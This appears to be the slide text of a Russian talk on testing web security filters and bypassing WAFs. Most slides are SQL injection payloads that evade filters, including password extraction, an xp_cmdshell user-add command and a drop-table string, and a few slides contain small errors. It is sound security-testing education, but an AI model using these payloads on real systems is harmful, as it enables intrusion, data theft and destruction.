SlideShare une entreprise Scribd logo
1  sur  23
Тестирование программных
  фильтров безопасности
    Игорь Бондаренко. Intetics Co.
Для чего необходима
    фильтрация
Типы фильтров
Прозрачные для Web-приложения
• magic_quotes_gpc, display_errors, etc
• mod_rewrite, ISAPI-фильтры, etc

Встроенные функции языка разработки
• Универсальные - addslashes(), addcslashes(), htmlspecialchars(), etc
• Предназначенные для определенной среды
  mysql_real_escape_string(), pg_escape_string()

Разрабатываемые самим программистом
• Приведение типов
• Использование регулярных выражений
Использование WAF
•   Файрвол Веб-Приложений
    (WAF) – это программно-
    аппаратный комплекс, плагин
    сервера или фильтр, который
    применяет набор правил к HTTP-
    диалогу
Методы обхода фильтров
1. Использование кодирования данных передаваемых в приложение

2. Использование представлений, отсутствующих в фильтре

3. Обфускация запроса и данных

4. Использование выражений для обхода сигнатур «черного списка»

5. Использование null-byte для обхода бинарно-зависимых функций

6. Использование набора символов, удаляемых фильтром
Методы обхода WAF
Фундаментальные ограничения технологии
•   Неспособность полностью защитить Web-приложение от всех возможных
    уязвимостей
Общие проблемы
• Разработчикам универсальных фильтров WAF приходиться
балансировать между эффективностью фильтра и
минимизацией ошибок блокировки легитимного трафика
• Обработка возвращаемого трафика клиенту
Уязвимости реализации
• Технологии нормализации запроса
•   Использование новых техник эксплуатации уязвимостей в Web (HTTP
    Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.
Кодирование передаваемых
                      данных
Строка «test» может быть представлена неограниченным количеством
   вариаций:
•   Hex-кодирование: 0x54657374

•   ASCII-представление: char(124),char(145),char(163),char(164)

•   Использование шифрования с различными ключами
Представления
              отсутсвующие в фильтре
Для проверки подобных представлений используются синонимы функций:
•   CHARACTER_LENGTH() -> CHAR_LENGTH()
•   LOWER() -> LCASE()
•   OCTET_LENGTH() -> LENGTH()
•   LOCATE() -> POSITION()
•   REGEXP() -> RLIKE()
•   UPPER() -> UCASE()
Обход «черного списка»
•   preg_match('/(and|or)/i', $id)
    1 or 1 = 1 1 and 1 = 1 - blocked
    1 || 1 = 1 1 && 1 = 1 - passed
•   preg_match('/(and|or|union)/i', $id)
    union select user, password from users
    1 || (select user from users where user_id = 1) = 'admin'
•   preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
    1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
    1 || 1 = 1 into outfile 'result.txt'
    1 || substr(user,1,1) = 'a„
•   preg_match('/(and|or|union|where|limit|group by|select|'|hex)/i', $id)
    1 || substr(user,1,1) = unhex(61)
    1 || substr(user,1,1) = lower(conv(11,10,36))
•   preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr)/i',
    $id)
    1 || substr(user,1,1) = lower(conv(11,10,36))
    1 || lpad(user,7,1)
Обход регулярных
                            выражений
PHPIDS обычно блокирует запросы, содержащие = или ( или ', за
  которыми следует любая строка или целое число
1 union select 1, table_name from information_schema.tables where table_name =
    'users'
1 union select 1, table_name from information_schema.tables where table_name
    between 'a' and 'z'
1 union select 1, table_name from information_schema.tables where table_name
    between char(97) and char(122)

1 union select 1, table_name from information_schema.tables where table_name
    between 0x61 and 0x7a
1 union select 1, table_name from information_schema.tables where table_name like
    0x7573657273
Использование нулл байта
if(ereg ("^(.){1,3}$", $_GET['param'])) { … }
   /?param=123
   ereg ("^(.){1,3}$", "123") – true
   /?param=1234
   ereg ("^(.){1,3}$", "1234") – false
   /?param=1+union+select+1
   ereg ("^(.){1,3}$", "1 union select 1") – false
   /?param=123%00
   ereg ("^(.){1,3}$", "1230") - true
   /?param=1/*%00*/union+select+1
   ereg ("^(.){1,3}$", "1/*0*/union select 1") - true
Набор символов,
                  удаляемых фильтром
В запросе фильтруются заначения select и union
   /?id=1+union+select+1,2,3/*

   /?id=1+un/**/ion+sel/**/ect+1,2,3--
   /?id=1+unUNIONion+selSELECTect+1,2,3--



Вместо конструкции /**/ можно использовать конструкции вида eq #####,
  %00
Методы обхода WAF
1. Обход с помощью комментариев
   ?id=1+un/**/ion+se/**/lect+1,2,3--
2. Изменение регистра символов
   ?id=1+UnIoN/**/SeLecT/**/1,2,3--
3. Замещение ключевых слов при использовании preg_replace
   ?id=1+UNunionION+SEselectLECT+1,2,3--
   ?id=1+uni%0bon+se%0blect+1,2,3--
4. Кодировка символов
   ?id=1%252f%252a*/union%252f%252a
  /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users-
5. Переполнение буффера
   ?id=1+and+(select 1)=(select
  0x414141414141441414141414114141414141414141414141414141
  414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
Встроенные комментарии
                       MySQL
Фильтр: /unionsselectig

Обход с помощью комментария: ?id=1/*!UnIoN*/SeLecT+1,2,3--

Пример:
?id=/*!UnIoN*/+/*!SeLecT*
   /+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
   /*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
HTTP Parameter Pollution
HPP атаки можно определить как возможность замещения или добавления
  GET/POST параметров через инъекцию в строке запроса.

Пример работы: http://anysite.com/search.aspx?par1=val1&par1=val2


Веб-сервер              Интерпретация                 Пример
                        параметров
ASP.NET/IIS             Склеивание через запятую      par1=val1,val2
PHP/Apache              Результат – последнее         par1=val2
                        значение
JSP/Tomcat              Результат – первое значение   par1=val1
Perl/Apache             Результат – первое значение   par1=val1
DBMan                   Склеивание через две тильды   par1=val1~~val2
HTTP Parameter Pollution
Пример: стандартный коммерческий WAF

1. ?q=select name,password from users
   ?q=select name&q=password from users

2. ?q=select name,password from users
   ?q=select/*&q=*/name& amp;q=password/*&q=*/from/*&q=*/users
Интерпретация:
q=select/*
q=*/name
q=password/*
q=*/from/*
q=*/users
q=select/*,*/name,password/*,*/from/*,*/users
q=select name,password from users
HTTP Parameter Pollution
Пример: IBM WAF

?id=1'; EXEC master..xp_cmdshell “net user test qwerty /add” --
?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user test qwerty”
   /*&id=1*/ --
Интерпретация:
id=1‟; /*
id=1*/ EXEC /*
id=1*/ master..xp_cmdshell /*
id=1*/ “net user test qwerty” /*
id=1*/ --
HTTP Parameter
                        Сontamination
Строка запроса      Ответ веб-сервера/GET значения
                    Apache/2.2.16, PHP/5.3.3   IIS6/ASP
?test[1=2           test_1=2                   test[1=2
?test=%             test=%                     test=
?test%00=1          test=1                     test=1
?test=1%001         NULL                       test=1
?test+d=1+2         test_d=1 2                 test d=1 2




Ключевые слова         WAF                     ASP/ASP.NET

sele%ct * fr%om        sele%ct * fr%om         select * from

;dr%op ta%ble xxx      ;dr%op ta%ble xxx       ;drop table xxx

<scr%ipt>              <scr%ipt>               <script>

<if%rame>              <if%rame>               <iframe>
HTTP Parameter
                         Сontamination
HTTP Parameter Contamination (HPC) использует странное поведение
  компонентов веб-серверов, веб-приложений и браузеров в результате
  замусоривания параметров строки запроса зарезервированными или
  не ожидаемыми символами.

Примеры:
1. Test.asp?xp_cmdshell
   test.asp?xp[cmdshell
2. ?file=../bla.txt
   ?file=.%./bla.txt
3. ?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
   ?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om
   info%rmation_schema.tables)
HTTP Parameter
                         Сontamination
Примеры

•   URLScan
    ?file=../bla.txt
    ?file=.%./bla.txt

•   WebKnight
    ?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
    ?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om
    info%rmation_schema.tables)
Blind SQL Injection
Использование логических запросов AND и OR
• /?id=1+OR+0x50=0x50
• /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

Вместо знака равенства можно использовать (!=, <>, <, >)

Заменяя функции SQL, которые попадают в сигнатуры WAF, на их
  синонимы, становится возможным эксплуатировать уязвимость
  методом blind-SQL Injection
1. substring() -> mid(), substr(), etc
2. ascii() -> hex(), bin(), etc
3. benchmark() -> sleep()
Пример:
?id=substring((1),1,1)
?id=mid((1),1,1
Blind SQL Injection
Примеры:

•   substring((select 'password'),1,1) = 0x70
•   substr((select 'password'),1,1) = 0x70
•   mid((select 'password'),1,1) = 0x70
•   strcmp(left('password',1), 0x69) = 1
•   strcmp(left('password',1), 0x70) = 0
•   strcmp(left('password',1), 0x71) = -1
Вопросы




Email: bondarenko.ihar@yandex.ru
    Skype: igor.bondarenko1

Contenu connexe

Tendances

Web осень 2013 лекция 4
Web осень 2013 лекция 4Web осень 2013 лекция 4
Web осень 2013 лекция 4Technopark
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6Technopark
 
Web осень 2013 лекция 5
Web осень 2013 лекция 5Web осень 2013 лекция 5
Web осень 2013 лекция 5Technopark
 
Web осень 2013 лекция 9
Web осень 2013 лекция 9Web осень 2013 лекция 9
Web осень 2013 лекция 9Technopark
 
Selenium: начало работы
Selenium: начало работыSelenium: начало работы
Selenium: начало работыPaul Stashevsky
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложенийZestranec
 
Лекция #5. Введение в язык программирования Python 3
Лекция #5. Введение в язык программирования Python 3Лекция #5. Введение в язык программирования Python 3
Лекция #5. Введение в язык программирования Python 3Яковенко Кирилл
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NETPositive Hack Days
 
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективноkranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективноKrivoy Rog IT Community
 
Прикладная теория Application Security
Прикладная теория Application SecurityПрикладная теория Application Security
Прикладная теория Application SecurityVladimir Kochetkov
 
Лекция 4. Строки, байты, файлы и ввод/вывод.
 Лекция 4. Строки, байты, файлы и ввод/вывод. Лекция 4. Строки, байты, файлы и ввод/вывод.
Лекция 4. Строки, байты, файлы и ввод/вывод.Roman Brovko
 
Лекция 5. Встроенные коллекции и модуль collections.
Лекция 5. Встроенные коллекции и модуль collections.Лекция 5. Встроенные коллекции и модуль collections.
Лекция 5. Встроенные коллекции и модуль collections.Roman Brovko
 
Подводные камни System.Security.Cryptography
Подводные камни System.Security.CryptographyПодводные камни System.Security.Cryptography
Подводные камни System.Security.CryptographyVladimir Kochetkov
 
Лекция 11. Тестирование.
Лекция 11. Тестирование.Лекция 11. Тестирование.
Лекция 11. Тестирование.Roman Brovko
 
Лекция 2. Всё, что вы хотели знать о функциях в Python.
Лекция 2. Всё, что вы хотели знать о функциях в Python.Лекция 2. Всё, что вы хотели знать о функциях в Python.
Лекция 2. Всё, что вы хотели знать о функциях в Python.Roman Brovko
 
Как программировать на JavaScript и не выстрелить себе в ногу
Как программировать на JavaScript и не выстрелить себе в ногуКак программировать на JavaScript и не выстрелить себе в ногу
Как программировать на JavaScript и не выстрелить себе в ногуAndreyGeonya
 
Лекция 7. Исключения и менеджеры контекста.
Лекция 7. Исключения и менеджеры контекста.Лекция 7. Исключения и менеджеры контекста.
Лекция 7. Исключения и менеджеры контекста.Roman Brovko
 
Курсы по мобильной разработке. 1 лекция. Знакомство с iOS
Курсы по мобильной разработке. 1 лекция. Знакомство с iOSКурсы по мобильной разработке. 1 лекция. Знакомство с iOS
Курсы по мобильной разработке. 1 лекция. Знакомство с iOSГлеб Тарасов
 

Tendances (20)

Web осень 2013 лекция 4
Web осень 2013 лекция 4Web осень 2013 лекция 4
Web осень 2013 лекция 4
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6
 
Web осень 2013 лекция 5
Web осень 2013 лекция 5Web осень 2013 лекция 5
Web осень 2013 лекция 5
 
Web осень 2013 лекция 9
Web осень 2013 лекция 9Web осень 2013 лекция 9
Web осень 2013 лекция 9
 
Selenium: начало работы
Selenium: начало работыSelenium: начало работы
Selenium: начало работы
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложений
 
Лекция #5. Введение в язык программирования Python 3
Лекция #5. Введение в язык программирования Python 3Лекция #5. Введение в язык программирования Python 3
Лекция #5. Введение в язык программирования Python 3
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективноkranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
 
Прикладная теория Application Security
Прикладная теория Application SecurityПрикладная теория Application Security
Прикладная теория Application Security
 
Лекция 4. Строки, байты, файлы и ввод/вывод.
 Лекция 4. Строки, байты, файлы и ввод/вывод. Лекция 4. Строки, байты, файлы и ввод/вывод.
Лекция 4. Строки, байты, файлы и ввод/вывод.
 
Sql injection
Sql injectionSql injection
Sql injection
 
Лекция 5. Встроенные коллекции и модуль collections.
Лекция 5. Встроенные коллекции и модуль collections.Лекция 5. Встроенные коллекции и модуль collections.
Лекция 5. Встроенные коллекции и модуль collections.
 
Подводные камни System.Security.Cryptography
Подводные камни System.Security.CryptographyПодводные камни System.Security.Cryptography
Подводные камни System.Security.Cryptography
 
Лекция 11. Тестирование.
Лекция 11. Тестирование.Лекция 11. Тестирование.
Лекция 11. Тестирование.
 
Лекция 2. Всё, что вы хотели знать о функциях в Python.
Лекция 2. Всё, что вы хотели знать о функциях в Python.Лекция 2. Всё, что вы хотели знать о функциях в Python.
Лекция 2. Всё, что вы хотели знать о функциях в Python.
 
Как программировать на JavaScript и не выстрелить себе в ногу
Как программировать на JavaScript и не выстрелить себе в ногуКак программировать на JavaScript и не выстрелить себе в ногу
Как программировать на JavaScript и не выстрелить себе в ногу
 
XML Magic
XML MagicXML Magic
XML Magic
 
Лекция 7. Исключения и менеджеры контекста.
Лекция 7. Исключения и менеджеры контекста.Лекция 7. Исключения и менеджеры контекста.
Лекция 7. Исключения и менеджеры контекста.
 
Курсы по мобильной разработке. 1 лекция. Знакомство с iOS
Курсы по мобильной разработке. 1 лекция. Знакомство с iOSКурсы по мобильной разработке. 1 лекция. Знакомство с iOS
Курсы по мобильной разработке. 1 лекция. Знакомство с iOS
 

Similaire à Тестирование программных фильтров безопасности

Методы обхода Web Application Firewall
Методы обхода Web Application FirewallМетоды обхода Web Application Firewall
Методы обхода Web Application FirewallDmitry Evteev
 
Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!Vladimir Kochetkov
 
PHP Tricks
PHP TricksPHP Tricks
PHP TricksBlackFan
 
PHP 5.4: Что нового?
PHP 5.4: Что нового?PHP 5.4: Что нового?
PHP 5.4: Что нового?phpdevby
 
Unit test быстрый старт
Unit test быстрый стартUnit test быстрый старт
Unit test быстрый стартAntonio
 
Оптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templatesОптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templatesPlatonov Sergey
 
Оптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templatesОптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templatesPlatonov Sergey
 
Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийSQALab
 
анализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестированияанализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестированияRuslan Shevchenko
 
Стажировка 2016-07-14 02 Евгений Тарасенко. JavaScript
Стажировка 2016-07-14 02 Евгений Тарасенко. JavaScriptСтажировка 2016-07-14 02 Евгений Тарасенко. JavaScript
Стажировка 2016-07-14 02 Евгений Тарасенко. JavaScriptSmartTools
 
Сладкое будущее: Phalcon и Zephir
Сладкое будущее: Phalcon и ZephirСладкое будущее: Phalcon и Zephir
Сладкое будущее: Phalcon и ZephirCodeFest
 
Типичный стек технологий для использования с Node.js
Типичный стек технологий для использования с Node.jsТипичный стек технологий для использования с Node.js
Типичный стек технологий для использования с Node.jsSerge Shirokov
 
ZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and DoctrineZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and DoctrineZFConf Conference
 
C++ осень 2012 лекция 9
C++ осень 2012 лекция 9C++ осень 2012 лекция 9
C++ осень 2012 лекция 9Technopark
 
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...Timur Shemsedinov
 
WAF наше все?!
WAF наше все?!WAF наше все?!
WAF наше все?!Dmitry Evteev
 

Similaire à Тестирование программных фильтров безопасности (20)

Методы обхода Web Application Firewall
Методы обхода Web Application FirewallМетоды обхода Web Application Firewall
Методы обхода Web Application Firewall
 
Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!
 
PHP Tricks
PHP TricksPHP Tricks
PHP Tricks
 
PHP 5.4: Что нового?
PHP 5.4: Что нового?PHP 5.4: Что нового?
PHP 5.4: Что нового?
 
Unit test быстрый старт
Unit test быстрый стартUnit test быстрый старт
Unit test быстрый старт
 
Оптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templatesОптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templates
 
Оптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templatesОптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templates
 
бегун
бегунбегун
бегун
 
бегун
бегунбегун
бегун
 
Bytecode
BytecodeBytecode
Bytecode
 
Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
анализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестированияанализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестирования
 
Стажировка 2016-07-14 02 Евгений Тарасенко. JavaScript
Стажировка 2016-07-14 02 Евгений Тарасенко. JavaScriptСтажировка 2016-07-14 02 Евгений Тарасенко. JavaScript
Стажировка 2016-07-14 02 Евгений Тарасенко. JavaScript
 
Сладкое будущее: Phalcon и Zephir
Сладкое будущее: Phalcon и ZephirСладкое будущее: Phalcon и Zephir
Сладкое будущее: Phalcon и Zephir
 
Типичный стек технологий для использования с Node.js
Типичный стек технологий для использования с Node.jsТипичный стек технологий для использования с Node.js
Типичный стек технологий для использования с Node.js
 
ZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and DoctrineZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and Doctrine
 
176023
176023176023
176023
 
C++ осень 2012 лекция 9
C++ осень 2012 лекция 9C++ осень 2012 лекция 9
C++ осень 2012 лекция 9
 
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
Примеры быстрой разработки API на масштабируемом сервере приложений Impress д...
 
WAF наше все?!
WAF наше все?!WAF наше все?!
WAF наше все?!
 

Тестирование программных фильтров безопасности

  • 1. Тестирование программных фильтров безопасности Игорь Бондаренко. Intetics Co.
  • 3. Типы фильтров Прозрачные для Web-приложения • magic_quotes_gpc, display_errors, etc • mod_rewrite, ISAPI-фильтры, etc Встроенные функции языка разработки • Универсальные - addslashes(), addcslashes(), htmlspecialchars(), etc • Предназначенные для определенной среды mysql_real_escape_string(), pg_escape_string() Разрабатываемые самим программистом • Приведение типов • Использование регулярных выражений
  • 4. Использование WAF • Файрвол Веб-Приложений (WAF) – это программно- аппаратный комплекс, плагин сервера или фильтр, который применяет набор правил к HTTP- диалогу
  • 5. Методы обхода фильтров 1. Использование кодирования данных передаваемых в приложение 2. Использование представлений, отсутствующих в фильтре 3. Обфускация запроса и данных 4. Использование выражений для обхода сигнатур «черного списка» 5. Использование null-byte для обхода бинарно-зависимых функций 6. Использование набора символов, удаляемых фильтром
  • 6. Методы обхода WAF Фундаментальные ограничения технологии • Неспособность полностью защитить Web-приложение от всех возможных уязвимостей Общие проблемы • Разработчикам универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика • Обработка возвращаемого трафика клиенту Уязвимости реализации • Технологии нормализации запроса • Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.
  • 7. Кодирование передаваемых данных Строка «test» может быть представлена неограниченным количеством вариаций: • Hex-кодирование: 0x54657374 • ASCII-представление: char(124),char(145),char(163),char(164) • Использование шифрования с различными ключами
  • 8. Представления отсутсвующие в фильтре Для проверки подобных представлений используются синонимы функций: • CHARACTER_LENGTH() -> CHAR_LENGTH() • LOWER() -> LCASE() • OCTET_LENGTH() -> LENGTH() • LOCATE() -> POSITION() • REGEXP() -> RLIKE() • UPPER() -> UCASE()
  • 9. Обход «черного списка» • preg_match('/(and|or)/i', $id) 1 or 1 = 1 1 and 1 = 1 - blocked 1 || 1 = 1 1 && 1 = 1 - passed • preg_match('/(and|or|union)/i', $id) union select user, password from users 1 || (select user from users where user_id = 1) = 'admin' • preg_match('/(and|or|union|where|limit|group by|select)/i', $id) 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 1 || 1 = 1 into outfile 'result.txt' 1 || substr(user,1,1) = 'a„ • preg_match('/(and|or|union|where|limit|group by|select|'|hex)/i', $id) 1 || substr(user,1,1) = unhex(61) 1 || substr(user,1,1) = lower(conv(11,10,36)) • preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr)/i', $id) 1 || substr(user,1,1) = lower(conv(11,10,36)) 1 || lpad(user,7,1)
  • 10. Обход регулярных выражений PHPIDS обычно блокирует запросы, содержащие = или ( или ', за которыми следует любая строка или целое число 1 union select 1, table_name from information_schema.tables where table_name = 'users' 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z' 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122) 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
  • 11. Использование нулл байта if(ereg ("^(.){1,3}$", $_GET['param'])) { … } /?param=123 ereg ("^(.){1,3}$", "123") – true /?param=1234 ereg ("^(.){1,3}$", "1234") – false /?param=1+union+select+1 ereg ("^(.){1,3}$", "1 union select 1") – false /?param=123%00 ereg ("^(.){1,3}$", "1230") - true /?param=1/*%00*/union+select+1 ereg ("^(.){1,3}$", "1/*0*/union select 1") - true
  • 12. Набор символов, удаляемых фильтром В запросе фильтруются заначения select и union /?id=1+union+select+1,2,3/* /?id=1+un/**/ion+sel/**/ect+1,2,3-- /?id=1+unUNIONion+selSELECTect+1,2,3-- Вместо конструкции /**/ можно использовать конструкции вида eq #####, %00
  • 13. Методы обхода WAF 1. Обход с помощью комментариев ?id=1+un/**/ion+se/**/lect+1,2,3-- 2. Изменение регистра символов ?id=1+UnIoN/**/SeLecT/**/1,2,3-- 3. Замещение ключевых слов при использовании preg_replace ?id=1+UNunionION+SEselectLECT+1,2,3-- ?id=1+uni%0bon+se%0blect+1,2,3-- 4. Кодировка символов ?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users- 5. Переполнение буффера ?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141 414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
  • 14. Встроенные комментарии MySQL Фильтр: /unionsselectig Обход с помощью комментария: ?id=1/*!UnIoN*/SeLecT+1,2,3-- Пример: ?id=/*!UnIoN*/+/*!SeLecT* /+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables /*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
  • 15. HTTP Parameter Pollution HPP атаки можно определить как возможность замещения или добавления GET/POST параметров через инъекцию в строке запроса. Пример работы: http://anysite.com/search.aspx?par1=val1&par1=val2 Веб-сервер Интерпретация Пример параметров ASP.NET/IIS Склеивание через запятую par1=val1,val2 PHP/Apache Результат – последнее par1=val2 значение JSP/Tomcat Результат – первое значение par1=val1 Perl/Apache Результат – первое значение par1=val1 DBMan Склеивание через две тильды par1=val1~~val2
  • 16. HTTP Parameter Pollution Пример: стандартный коммерческий WAF 1. ?q=select name,password from users ?q=select name&q=password from users 2. ?q=select name,password from users ?q=select/*&q=*/name& amp;q=password/*&q=*/from/*&q=*/users Интерпретация: q=select/* q=*/name q=password/* q=*/from/* q=*/users q=select/*,*/name,password/*,*/from/*,*/users q=select name,password from users
  • 17. HTTP Parameter Pollution Пример: IBM WAF ?id=1'; EXEC master..xp_cmdshell “net user test qwerty /add” -- ?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user test qwerty” /*&id=1*/ -- Интерпретация: id=1‟; /* id=1*/ EXEC /* id=1*/ master..xp_cmdshell /* id=1*/ “net user test qwerty” /* id=1*/ --
  • 18. HTTP Parameter Сontamination Строка запроса Ответ веб-сервера/GET значения Apache/2.2.16, PHP/5.3.3 IIS6/ASP ?test[1=2 test_1=2 test[1=2 ?test=% test=% test= ?test%00=1 test=1 test=1 ?test=1%001 NULL test=1 ?test+d=1+2 test_d=1 2 test d=1 2 Ключевые слова WAF ASP/ASP.NET sele%ct * fr%om sele%ct * fr%om select * from ;dr%op ta%ble xxx ;dr%op ta%ble xxx ;drop table xxx <scr%ipt> <scr%ipt> <script> <if%rame> <if%rame> <iframe>
  • 19. HTTP Parameter Сontamination HTTP Parameter Contamination (HPC) использует странное поведение компонентов веб-серверов, веб-приложений и браузеров в результате замусоривания параметров строки запроса зарезервированными или не ожидаемыми символами. Примеры: 1. Test.asp?xp_cmdshell test.asp?xp[cmdshell 2. ?file=../bla.txt ?file=.%./bla.txt 3. ?id=10 and 1=0/(select top 1 table_name from information_schema.tables) ?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
  • 20. HTTP Parameter Сontamination Примеры • URLScan ?file=../bla.txt ?file=.%./bla.txt • WebKnight ?id=10 and 1=0/(select top 1 table_name from information_schema.tables) ?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
  • 21. Blind SQL Injection Использование логических запросов AND и OR • /?id=1+OR+0x50=0x50 • /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 Вместо знака равенства можно использовать (!=, <>, <, >) Заменяя функции SQL, которые попадают в сигнатуры WAF, на их синонимы, становится возможным эксплуатировать уязвимость методом blind-SQL Injection 1. substring() -> mid(), substr(), etc 2. ascii() -> hex(), bin(), etc 3. benchmark() -> sleep() Пример: ?id=substring((1),1,1) ?id=mid((1),1,1
  • 22. Blind SQL Injection Примеры: • substring((select 'password'),1,1) = 0x70 • substr((select 'password'),1,1) = 0x70 • mid((select 'password'),1,1) = 0x70 • strcmp(left('password',1), 0x69) = 1 • strcmp(left('password',1), 0x70) = 0 • strcmp(left('password',1), 0x71) = -1